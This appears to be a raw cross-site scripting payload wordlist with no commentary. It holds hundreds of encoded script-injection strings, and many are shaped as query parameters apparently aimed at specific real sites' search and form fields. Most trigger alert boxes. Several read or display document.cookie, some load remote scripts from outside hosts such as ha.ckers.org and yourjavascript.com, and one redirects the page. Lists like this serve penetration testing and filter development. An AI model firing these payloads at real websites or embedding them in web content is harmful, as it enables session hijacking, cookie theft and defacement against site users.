%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(1)%3E
%3Cmeta%20charset=cp1025%3E%27%20L%C9%86%D9%81%D4%85%40%C9%84~[%40%D6%95%D4%96%E4%A2%85%D6%A5%C5%99~m~%60JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]JmZNMOO}}N}}]JmmZNMOO}}N}}]JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]n
%3Cscript%0Baaa%3Ealert%281%29%3C/script%0Baaaa%3E
%3Cscript%0Baaa%3Ealert%281%29%3C/script%3E
%3Cscript%0Caaaaa%3Ealert%28123%29%3C/script%0Caaaaa%3E
%3Cscript%3Ealert(1)%3C/script%00TESTTEST%3E
%3Cscript%3Ealert(1)%3C/script%3E
%3Cx onxxx=alert(1)
%3E%3Cbody%20onload=javascript:alert(1)%3E
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
%3cimg onerror=alert(1) src=a%3e
%3cscript%3ealert("WXSS");%3c/script%3e
%73%63%72%69%70%74%3E
%73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F
%7D%3C/style%3E43%27%22%3E%3C/title%3E%3Cscript%3Ea=eval;b=alert;a(b(/X/.source));%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EX%3C/h1%3E%3C/marquee%3E
%BCscript%BEalert(%A21%A2)%BC/script%BE
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert(1)%EF%BC%9E
%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert(1)%EF%BC%9E
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80?
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
%F6%3Cimg+onmouseover=prompt(/test/)//%F6%3E
%c0″//(0000%0dconfirm(1)//
%u0022%u003e
%u0022%u003e%u003cscript%u003ealert%u0028%u0027Hello%u0027%u0029%u003c%u002fscript%u003e
%u0022%u003e%u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u0022%u003e%u003cscript%u003ealert(XSS);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u0022%u003e%u003cscript%u003ealert(1);%u003c/script%u003e
%u0025%u0075%u0066%u0066%u0031%u0063%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065%u0061%u006c%u0065%u0072%u0074%u0028%u0018%u0058%u0053%u0053%u0019%u0029%u003b%u0025%u0075%u0066%u0066%u0031%u0063%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u0025%u0075%u0066%u0066%u0031%u0065
%u003cscript%u003ealert%u0028%u0027XSS%u0027%u0029%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert%u00281uff09%u003b%u003c%uff0fscript%u003e
%u003cscript%u003ealert(XSS);%u003c/script%u003e
%u003cscript%u003ealert(%u0027XSS%u0027);%u003c/script%u003e
%u003cscript%u003ealert(1);%u003c/script%u003e
%uff02%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(XSS);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff02%uff1e%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff1cscript%uff1ealert%uff08%uff07XSS%uff07%uff09%uff1b%uff1c%uff0fscript%uff1e
%uff1cscript%uff1ealert%uff081uff09%uff1b%uff1c%uff0fscript%uff1e
%uff1cscript%uff1ealert(XSS);%uff1c/script%uff1e
%uff1cscript%uff1ealert(%uff07XSS%uff07);%uff1c/script%uff1e
%uff1cscript%uff1ealert(1);%uff1c/script%uff1e
%uff1cscript%uff1ealert(1234)%uff1c/script%uff1e
%ufflcxss%2f%uffle
<blink/ onmouseover=prompt(1)>OnMouseOver
"><script>alert(1)</script>
"onmouseover="alert(1)
'; confirm(1); '
<iframe src=http://test.de>
<script>alert("KCF")</script>
<SCRIPT a=">'>" SRC="http://testsite.com/xss.js"></SCRIPT>
"onmouseover="alert(1)
'; confirm(1); '
<iframe src=http://test.de>
<script>alert('xss')</script>
`ĕ™ĔąĒĖb—ĈāĔĖ@9Ġĕĕ9A`&#xĕ™ĔąĒĖb
tţŃŢőŠŤvŁŔŅŢŤPGŰţţGQt&WţŃŢőŠŤv
&%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3EinvocationType=enus-mh-1_-aol-ws-na-na&sourceType=150&query=icq
&%27;}alert%28%27xssd%27%29;%3C/script%3E
&&afp=%22%3E%3Cscript%3Ealert%28%27xssd%27%29;%3C/script%3E&afu=%22%3E%3Ctextarea%3E
&&fuseaction=tools.message&message=%22%3E%3Cvar%20onmouseover=%22prompt%28/XSSPOSED/%29%22%3EOn%20Mouse%20Over%3C/var%3E&title=Activity
&&product_name="><script>alert('XSS')</script>
&&s=site:reddit.com&fltdigg=%27;alert%28document.cookie%29;a=%27
&&sort="><script>alert('XSS')</script>
&&tutorial=%22%3Cmarquee%3EPreventing%20xss%20attacks%3Ca
&'"--></style></script><script>alert('XSS')</script>
&'">%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u002f%u0078%u0073%u0073%u002f%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e
&'"><script>alert(/X/)</script>
&'"><script>alert(/X/)</script>
&'">-1,54,38,53,44,51,55,-1,36,47,40,53,55,-1,-1,59,54,54,-1,-1,-1,-1,54,38,53,44,51,55,-1
&'">/'-C<FEP=#YA;&5R="@O>'-S+RD\+W-C<FEP=#.
&'">0x3c7363726970743e616c657274282f7873732f293c2f7363726970743e
&'">3e7470697263732f3c292f7373782f287472656c613e7470697263733c
&'"><script>alert(/X/)</aaa>
&'"><script>alert(/X/)</script>
&'"><script>alert(/X/)</āăą>
&'">Description:Syntax error Msg:Unexpected token < )
&'">PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
&'">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4
&'">TypeError: Cannot read property '$content$' of undefined
&'">\74\163\143\162\151\160\164\76\141\154\145\162\164\50\57\170\163\163\57\51\74\57\163\143\162\151\160\164\76
&'">\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
&'">\uff1c\uff53\uff43\uff52\uff49\uff50\uff54\uff1e\uff41\uff4c\uff45\uff52\uff54\uff08\uff0f\uff58\uff53\uff53\uff0f\uff09\uff1c\uff0f\uff53\uff43\uff52\uff49\uff50\uff54\uff1e
&'">\u{3c}\u{73}\u{63}\u{72}\u{69}\u{70}\u{74}\u{3e}\u{61}\u{6c}\u{65}\u{72}\u{74}\u{28}\u{2f}\u{78}\u{73}\u{73}\u{2f}\u{29}\u{3c}\u{2f}\u{73}\u{63}\u{72}\u{69}\u{70}\u{74}\u{3e}
&'">chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62).chr(97).chr(108).chr(101).chr(114).chr(116).chr(40).chr(47).chr(120).chr(115).chr(115).chr(47).chr(41).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62)
&';}},{scope:'email,user_about_me,user_hometown,user_interests,user_likes,user_status,user_website,user_birthday,publish_stream,publish_actions,offline_access'});}alert(0);b=function(response){c=({a:{//
&<script>alert('XSS');</script>">
&<script>alert(1);</script>
&<script>alert(1)</script>
&<script>document.cookie=true;</script>
&=%3Cscript%3Ealert(%22Canada%20Xss%22)%3C/script%3E
&Amount=';alert(/XSSPOSED)//\\';alert(1)//";alert(2)//\\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(/XSSPOSED/)</SCRIPT>=&{}");}alert(6);function+xss(){//&q=';alert(0)//\\';alert(1)//";alert(2)//\\";alert(3)//--></SCRIPT>">'><SCRIPT>alert(/XSSPOSED/)</SCRIPT>=&{}");}alert(6);function+xss(){//&From=USD&To=EUR
&ContentID=133&SiteID="><script>alert(String.fromCharCode(88,83,83))</script>
&DM_NUMBER="><img/onerror=document.write('\\x58\\x53\\x53'); src=./>
&DestAddress=23901%20East%20Orchard%20Road%3Cobject%20data=%22http://dl.dropbox.com/u/1437645/meaningless/flashbomb.swf%22%20type=%22application/x-shockwave-flash%22%3E%3Cparam%20name=%22movie%22%20value=%22http://dl.dropbox.com/u/1437645/meaningless/flashbomb.swf%22%20/%3E%3Cparam%20name=%22allowScriptAccess%22%20value=%22always%22%20/%3E%3Cparam%20name=%22FlashVars%22%20value=%22swfsrc=http://dl.dropbox.com/u/1437645/meaningless/boring.swf%22%20/%3E%3C/object%3E&DestCity=Aurora&DestState=CO&DestPostalCode=80016&DestLat=39.600259&DestLng=-104.711478&DestPhone=%28303%29%20400-4106&DestName=Southlands%20%28Aurora%29&DestNumber=1031&DestCountry=US&OriginStreet=&OriginCity=&OriginState=&OriginPostalCode=80012&OriginCountry=US
&ErrMsg=%3Cimg%20src=%22http://imgur.com/bTkSe.png%22%20/%3E%3CSCRIPT%3Ealert%28%22xss%22%29%3C/SCRIPT%3E
&FuseAction=Search.Results&Keywords="><script>alert(String.fromCharCode(88,83,83))</script>
&Gemeente=Almere%22%20onclick='alert(%22XSS%22);'%20%22
&Genre=Tech%20Note&PKey="><script>alert('XSS')</script>
&ID=239&AT=%3Cscript%3Ealert('port22%20-%20:D');%3C/script%3E
&Id=408"><script>alert(String.fromCharCode(88,83,83))</script>
&Key=ident&Key2="><script>alert(String.fromCharCode(88,83,83))</script>
&Keywords=%22%22%3Cscript%3Ealert(%22xss%22)%3C/script%3E
&MAX_FILE_SIZE=10485760&url=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert%28%22XSS%22%29%3C/script%3E&search=search&nsfwfilter=on
&Module=SMMComplain&SMMOp=View&enter=SAMECRAP&SMM_CMD=SendLetter&SMMComplain_View_URL=1%3Cimg+src=http://talks.php.net/presentations/slides/php-under-attack/xss.png+onload=alert%28unescape%28/xss/.source%29%29%3E&SMMComplain_View_Message=WORKSOK@fbi.gov.edu
&Module=SMMNewsAgency&SMMOp=View&enter=EnterStuff&SMM_CMD=1%%27%22%3E%3CsCrIpT%20%3Ealert%28String.fromCharCode%2884,72,73,82,49,51,69,78,46,67,76,73,67,75,83%29%29;%3C/sCrIpT%3E&SMMContactUs_View_Parts=WHATISLOVE&SMMContactUs_View_Name=BABYDONTHURTME&SMMContactUs_View_EMail=DONTHURTME&SMMContactUs_View_URL=NOMORE&SMMContactUs_View_DEN%20DEN%20DEN%20DEN&SMMContactUs_View_Message=HEADBANGHEADBANG&SMMContactUs_View_Emergency=TILTTOTHELEFT
&N=0&Ntk=primary&Ntx=mode+matchallpartial&Ntt='</script><script>alert(0);//
&N=8110&Ntk=All&Ntt=%22%3Balert%28%27XSS%27%29%3B%2F%2F&Nty=1&D=%22%3Balert%28%27XSS%27%29%3B%2F%2F&Ntx=mode+matchallpartial&Dx=mode+matchallpartial&sid=12C953F338E0&srchLocalCode=us
&Ntk=All&Ntx=mode+matchallpartial
&PAGE="><script>alert('XSS')</script>
&PageFlow="><script>alert(String.fromCharCode(88,83,83))</script>
&Query=%22%3Cmarquee%3E%3Cstrike%3E%3CIMG+SRC%3D%22http://i.imgur.com/X2rwY.jpg%22%3E%3Cscript%3Ealert%28%22smrk3r%22%29%3B%3C%2Fscript%3E%3Cp&target=article
&Query=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\\%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&target=article&sortby=display_time+descending
&Referer=lolwat%27%29;alert%28document.cookie%29;new%20Button%28%27
&RequestedPage=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3Cp
&SQ=%22xss+protection%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E%22&act=RSR&searchAID=&forumID=8
&Search=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E%3Cspan%20id=%22&Action=search&id=24093%3Bccom&Submit.x=10&Submit.y=5&Submit=Search
&Search=abc123<%2Ftitle><script>alert('1')<%2Fscript>&Option=All&Find=Find
&Search=xss"><script+src="http://www.yourjavascript.com/38310202111/xss.js">
&SearchID=3125843&SearchRefineID=6695888&KeyWord=l%22%3E%3Cscript%20src=%22http://www.yourjavascript.com/38310202111/xss.js%22%20/%3E
&SearchTerm=%27+%0A%09%09%09%09%09%09};+%0A%09%09%09%09%09%09alert%280%29;+%0A%09%09%09%09%09%09a%20=%20{+%0A%09%09%09%09%09%09%09%27a%27+:+%27
&SearchTerm=awdawdawdawd%22,%22%22,%22%22,%22%22);alert(%22Reddit%20rulez!!!%22);//
&SearchText=0\\%22autofocus%2Fonfocus%3Dalert%28%2FXSSPO+SED%2F%29--%3E%3Cvideo%2Fposter%2Fonerror%3Dprompt%28%2FXSSPOSED%2F%29%3E%22-confirm%28%2FXSSPOSED%2F%29-%22
&ShowForm=no&query=&lg=%3E%22%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E
&TargetUrl=LST_NOM_DTL_GLOSSARY&StrNom=CODED2&StrLanguageCode=%22%3E%3Cmarquee/onstart=alert%28/XSSPOSED/%29%3E
&Term='"></title><script>alert(xss)</script>><marquee><h1>XSS</h1></marquee>
&URL=%27;%22;alert%28%27xssd%27%29;a=%22
&WRD='%20|%20alert%28'XSS'%29%20|%20'&ern=200
&Zoe=%22|alert%28%22XSS%22%29|%22&ZoeSitIdt=147
&_nfpb=true&_pageLabel=Page_Search_searchResult&pageID=PSE_0001&topSearchQuery=awdawdawdttttt';alert('xss')//
&_nfpb=true&_pageLabel=search&Ntt=<script>alert(unescape(document.cookie));</script>
&a=0I_2QhAGaI8&u=%2Fwatch%3Fv%3DTnZ7unBHWLQ%26feature%3Dshare
&action=QueryAction.submitBasicSearch&type_basic=extern&sortOrder=&pageNumber=1&q='><body%20onload=alert%28"XSS"%29>&hdrsrchsubmit.x=0&hdrsrchsubmit.y=0&hdrsrchsubmit=Search
&action=advanced_search&query="><script>alert('XSS')</script>
&action=check_availability&goto=metarefresh&formaction="><script>alert(String.fromCharCode(88,83,83))</script>
&action=file&text=%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
&action=find&find=%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E
&action=install&name=Offline%20Mail&message=Hi,%20Reddit&icon_src=http%3A%2F%2Fmail.google.com%2Fmail%2Fimages%2F2%2Fmail_icon_48.png&return=https%3A%2F%2Fmail.google.com%2Fmail%2F%23lsci
&action=load&temID=search&seachtxt=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&action=search&firstRequest=1&query=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F&x=30&y=17&searchindex=gsa
&action=search&firstRequest=1&searchindex=gsa&query=';alert(/XSSPOSED)//\\';alert(1)//";alert(2)//\\";alert(/XSSPOSED/)//--></SCRIPT>">'><SCRIPT>alert(/XSSPOSED/)</SCRIPT>=&{}");}alert(6);function+xss(){//&q=';alert(0)//\\';alert(1)//";alert(2)//\\";alert(/XSSPOSED/)//--></SCRIPT>">'><SCRIPT>alert(/XSSPOSED/)</SCRIPT>=&{}");}alert(6);function+xss(){//
&action=search&storeid=2557708&searchtext=%22%3Cscript%3Ealert('Hello%20Reddit')%3C/script%3E&submitbutton.x=0&submitbutton.y=0
&action=search-events&where=%22%3E%3Cbody%20onload=alert(%22XSS%22)%3E%3Cinput%20%22
&action=subscribe&email=%3Cscript%3Ealert%28String.fromCharCode%2888,%2083,%2083,%2080,%2079,%2083,%2069,%2068%29%29%3C/script%3E
&adID=DEGWORDSTATUS&orderNum=%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E&postal=50210
&alert(1)&
&alphabet="><script>alert(String.fromCharCode(88,83,83))</script>
&amount=50.0¤cy_code=USD&sender_country="><script>alert('XSS')</script>
'; alert(1);//
'; confirm(1); '
&app="><script>alert%28"XSS"%29</script>&return_url=
&area=search&q="%20onclick='alert("XSS");'
&article=Steve-Sjogren-Community-Servant-Evangelism&ac=%22%3E%3CScRipT%3Econfirm%28/XSSPOSED/%29%3C%2FScrIpT%3E
&as2n32vujas83bn2932g=645492598632
&authenticationKey=aaaaaaaaaaaaaaaaaaaaaaaaaaa&language='"--></style></script><script>alert(document.cookie)</script>
&blob=%3Cbody%20onload=alert%28%22XSS%22%29%3E
&blogid=120
&btnSearch=all&searchText=<script>alert%28%22XSS%22%29</script>
&bw=zoek&taal=nl&letter=&zoek3=%22%3E%3Cscript%3Ealert%28String.fromCharCode%2888,83,83%29%29;%3C/script%3E
&c1=sg%22%3E%3Cscript%3Ealert%28%22NullCrew%22%29%3C/script%3E
&c=10"><script>alert('XSS')</script>
&c=SXM_Channel_C&childpagename=SXM%2FSXM_Channel_C%2FChannelDetail&cid=--><script>alert('0');</script>&pagename=SXM%2FWrapper
&cat=All&searchText=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&x=0&y=0
&cat=M&subcat=S&prodname=<object%20width=480%20height=385><param%20name=movie%20value=http://www.youtube.com/v/OXc5ltzKq3Y
&catId=%22%3E%3Cbody%20onload=%22alert%28%27XSS%27%29%22%3E&mid=&f=&f=&f=&p=
&catText=%3Cscript%3Ealert(document.cookie);%3C/script%3E
&categ=ass&prod=%3Cimg%20src=%22http://a1055.g.akamai.net/f/1055/1401/5h/images.barnesandnoble.com/images/12400000/12403880.jpg%22%3E
&categoryid=529&msg=';alert(String.fromCharCode(71,117,105,100,111,90,32,88,83,83))//\\';alert(String.fromCharCode(71,117,105,100,111,90,32,88,83,83))//";alert(String.fromCharCode(71,117,105,100,111,90,32,88,83,83))//\\";alert(String.fromCharCode(71,117,105,100,111,90,32,88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(71,117,105,100,111,90,32,88,83,83))</SCRIPT>
&ch=Hardware&search=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E
&clickTAG=http://www.youtube.com/watch
&clickTAG=javascript:alert%28/XSSPOSED/%29
&clickTAG=javascript:alert%28/xssposed/%29
&clickTag=javascript:alert%28/XSSPOSED/%29
&clicktag=javascript:alert%28/XSSPOSED/%29
&clientAccnum=938022&clientSubacc=0000&formName=43cc&language=English'%20STYLE='display:block;position:absolute;top:0;left:0;width:999px;height:999px;'%20onmouseover='alert(/XSS/)&allowedTypes=0000023138:840,0000023139:840,0000000216:840&subscriptionTypeId=0000000216:840
&cmd=browse&project=999999.9%27%22%3E%3CA%20onmouseover=alert%28/XSSPOSED/%29%3EXSS,%20needs%20to%20be%20fixed%20ASAP%3C/a%3E
&cn=<script>alert('0');</script>
&cnpage=%22%3E%3Cscript%3E+-+-1-+-+alert%28/XSSPOSED/%29%3C/script%3E
&cof=FORID%3A9&u=%2F&i=93.96.45.41&cx=007197795867691607395%3Ajdouk1cllf0&q=a%22;alert('xss');x=%22;&sa=Search
&col=&ht=0&qp=&qs=&qc=&pw=100%25&la=en&charset=iso-8859-1&si=1&ws=0&qm=0&ql=&qt=XSS&oldqt=%3Cscript%3E%28alert%29%28%22XSSPOSED%22%29%3C/script%3E
&collection=81"><script>alert(String.fromCharCode(88,83,83))</script>
&config=htdig&restrict=&exclude=&method=and&format=long&sort=score&words=%22%3E%20d%3Csvg/onload=confirm%28/xssposed/%29%3E
&content=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
&content_selector=gold-platinum-searchable-database&artist=\\'-alert%28String.fromCharCode%2888,83,83%29%29;//
&coursecode=SC&infotype="><script>alert('XSS')</script>
&create=kb:USPSFAQ&search=\\%22;}%3C/script%3E%3Cscript%3Ealert%28%27Hi%20Reddit%27%29;%3C/script%3E&searchProperties=type:natural&naturalAdvance=false&varset%28source%29=sourceType:search
&criteria=%3Cscript%3Ealert(%22XSS!%22);%3C/SCRIPT%3E
&customization_result=%22%3E%3Cscript%3Ealert%28/hi/.source%29%3C/script%3E
&cx=003481944941899604444%3Ad947h5mvseo&cof=FORID%3A10&ie=UTF-8&q=%3Cimg+src%3Dhttp%3A%2F%2Fthumbs.reddit.com%2Ft5_2qxe8.png%3Fv%3D60c0bc6ee97246414e7b0738fb0040ef%2F%3E&sa.x=0&sa.y=0&sa=search#262
&cx=008267139695251349397%3A3kau9exrwow&cof=FORID%3A10&ie=UTF-8&q=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E%3Cinput+type%3D%22text&x=0&y=0
&cx=partner-pub-1783560022203827%3Anpr2q7v5m6t&cof=FORID%3A11&ie=ISO-8859-1&q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert%28%22XSS%22%29%3C/script%3E
&date=%22%3E%3Cscript%3Ealert%28%27xssd%27%29;%3C/script%3E%3Ctextarea%3E
&debug=true&heroOverride=%3Cscript%3Ealert%28%27hax%27%29%3C%2Fscript%3E
&destinationSectionUniqueName=search&publicationName=ind&sortString=publishdate&sortOrder=desc§ionId=506&articleTypes=news&pageNumber=1&pageLength=10&startDay=1&startMonth=1&startYear=2010&useSectionFilter=true&useHideArticle=true&searchString=awdawd%22;alert('xss');x=%22)
&display=none&hid=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
&domain=--><script>alert(1)</script>-->
&domain=<script>alert%28String.fromCharCode%2888,83,83%29%29</script>
&dsNav=Ntk:TitleKeyword|%3Cscript%3Ealert%28%27XSS%27%29%3b%3C%2fscript%3E|1|
&e=50&i=50_50.gif&p=50%3Cscript%3Ealert('XSS')%3C/script%3E
&email="/><script>alert(0)</script><script>alert(document.cookie)</script>
&email=%22%20/%3E%3CSCRIPT%3Ealert%28%22XSS%22%29;%3C/SCRIPT%3E
&email=--></script><script>alert('0');</script>
&email=zead19_2010@hotmail.com&id="><script>alert('XSS')</script>
&entry_id=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
&eq=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
&err=1&locationTerm=2031'});}catch(err){}alert(0);try{alert(a={'asd':'a
&error=catalogue.asp
&errorMessage=I%27m%25 20sorry%2C%2520the%2520Password%2520Assistance%2520page%2520is%2520temporarily%2520unavailable.%2520 %2520Please%2520try%2520again%2520in%252015%2520minutes.%3C"<marquee><img src=k onerror=alert("XSS") />
&event=11&broadcastType=1&jspLocation=/jsp/tv_listings_search.jsp&jspError=/jsp/error.jsp&searchString=%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSS%22%29%3C/SCRIPT%3E%22%3E
&f%3AsearchInputString=%27%22%3E%3Cscript++type%3D%22text%2Fjavascript%22%3Ealert%28%22hi%2C+reddit%22%29%3Bdocument.write%28%27%3Cimg+src%3D%22http%3A%2F%2Fthumbs.reddit.com%2Ft5_2qxe8.png%3Fv%3D60c0bc6ee97246414e7b0738fb0040ef%22%2F%3E%27%29%3C%2Fscript%3E%3Cdiv+id%3D%22&f%3Asearch=+&formID=globalSearchForm
&facilityName=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&fh_Params=query_origin%3Dhost_frs-app02.frs.local_code_FasGetAll%26method%3DgetAll%26omitxmldecl%3Dyes%26fh_location%3D%252f%252ffrs%252fnl_NL%252fsite%253e%257bfreerecordshop%257d%252fcategories%253c%257bfrs_02%257d%252fcategories%253c%257bfrs_02_films1%257d%252fproducttype%253d81%252fnewrelease%253d0%26fh_eds%3D%25c3%259f%26fh_sort_by%3Dpopularity_frs_nl&SubCat=02%22-alert%28%22XSS%22%29-%22
&file=%22%3E%3Cimg%20src=//bit.ly/2avPU%3E%3C!--
&filename=index.html&filepath=Honesty.%3CScRiPt%20%0A%0D%3Ealert%28String.fromCharCode%2885,108,116,105,109,97,32,85,110,100,101,114,119,111,114,108,100,32,104,97,115,32,109,111,114,101,32,34,65,118,97,116,97,114,105,99,32,82,101,118,101,108,97,116,105,111,110,34,32,116,104,97,110,32,116,104,105,115,32,99,104,97,114,97,99,116,101,114,44,32,110,111,32,111,102,102,101,110,115,101,46%29%29%3B%3C/ScRiPt%3Ewithin.this.organization.DOC...
&filter=%22%20onclick='alert(%22XSS%22)'%20%22&order=ryear&limit=25&option=com_jombib&catid=$catId
&finalDestination="><script>alert('You have been hacked!')</script>
&find=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F
&firstname=%22%3E%3Cscript%3Edocument.body.innerHTML%20%3D% 20%22%3Cblink%20style%3D'color%3A%20red%3B%20font-size%3A%2080px%3B'%3ELocked%20my%20ass!%3C% 2Fblink%3E%22%3B%3C/script%3E%3Cx
&firstsearch=1&key=title&match=loose&value=%22%3E%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js%3E%3C/SCRIPT%3E
&flash=true&page=%27;alert(/XSSPOSED)//\\%27;alert(1)//%22;alert(2)//\\%22;alert(3)//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert(/XSSPOSED/)%3C/SCRIPT%3E=&{}%22);}alert(6);function+xss(){//&q=%27;alert(0)//\\%27;alert(1)//%22;alert(2)//\\%22;alert(3)//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert(/XSSPOSED/)%3C/SCRIPT%3E=&{}%22);}alert(6);function+xss(){//
&fname=%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E
&focus=site&query=%3Cscript%3Ealert%28%22O%22%29%3C%2Fscript%3E&search=+
&focus=site&query=--%253E%253Cbody%2520onload=alert%28%2522XSS%2522%29%253E%253C!--
&foo=<SCrIPT>alert("I BEESEECH THEE, PHOTOETH MINE VISAGE")</SCrIPT>
&foo=<SCrIPT>alert("PLEASE PHOTO MY FACE")</SCrIPT>
&from=pooptato&to=<font%20color=00ff00><marquee%20BEHAVIOR=ALTERNATE%20BGColor=black><plaintext>
&fruitid=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
&fulltext=Search&search=%3Cimg%20src=x%20onerror=prompt%28/XSSPOSED/%29%3E
&func=detail&group_id=73833&atid=539099&aid="><script>alert(String.fromCharCode(88,83,83))</script>
&fuseAction=projects.view&&project_id="><script>alert(String.fromCharCode(88,83,83))</script>
&gws_rd=ssl#q=inurl:ReferralType%3DW
&h=195&q=90&src=%27%22%28%29%26%251%3CScRiPt%20%3Eprompt%281234567890%29%3C%2fScRiPt%3E&w=540&zc=1
&h=4&z=350&al='><script>alert(1234)</script>&st=y
&hdrFo=mthdr02%27"--><svg><script><!>alert('XSS');document.location.replace('http://xssed.com')</script>
&height=360&imagePath=/content/us/en/food/food_quality/see_what_we_are_made_of/inside_our_kitchens/jcr:content/genericpagecontent/video_1/stillimage.img.jpg/1270296485736.jpg%22%3E%3Cmarquee/onstart=confirm%28/XSSPOSED/%29%3E&link=/content/us/en/food/food_quality/see_what_we_are_made_of/inside_our_kitchens.html&path=sss
&i=%3C%2Ftitle%3E%3Cmarquee%3E%3Cimg+src%3D%22http%3A%2F%2Fstatic.reddit.com%2Freddit.com.header.png%22%2F%3E%3C/marquee%3E%3Ctitle%3E
&i=WmYmMm28
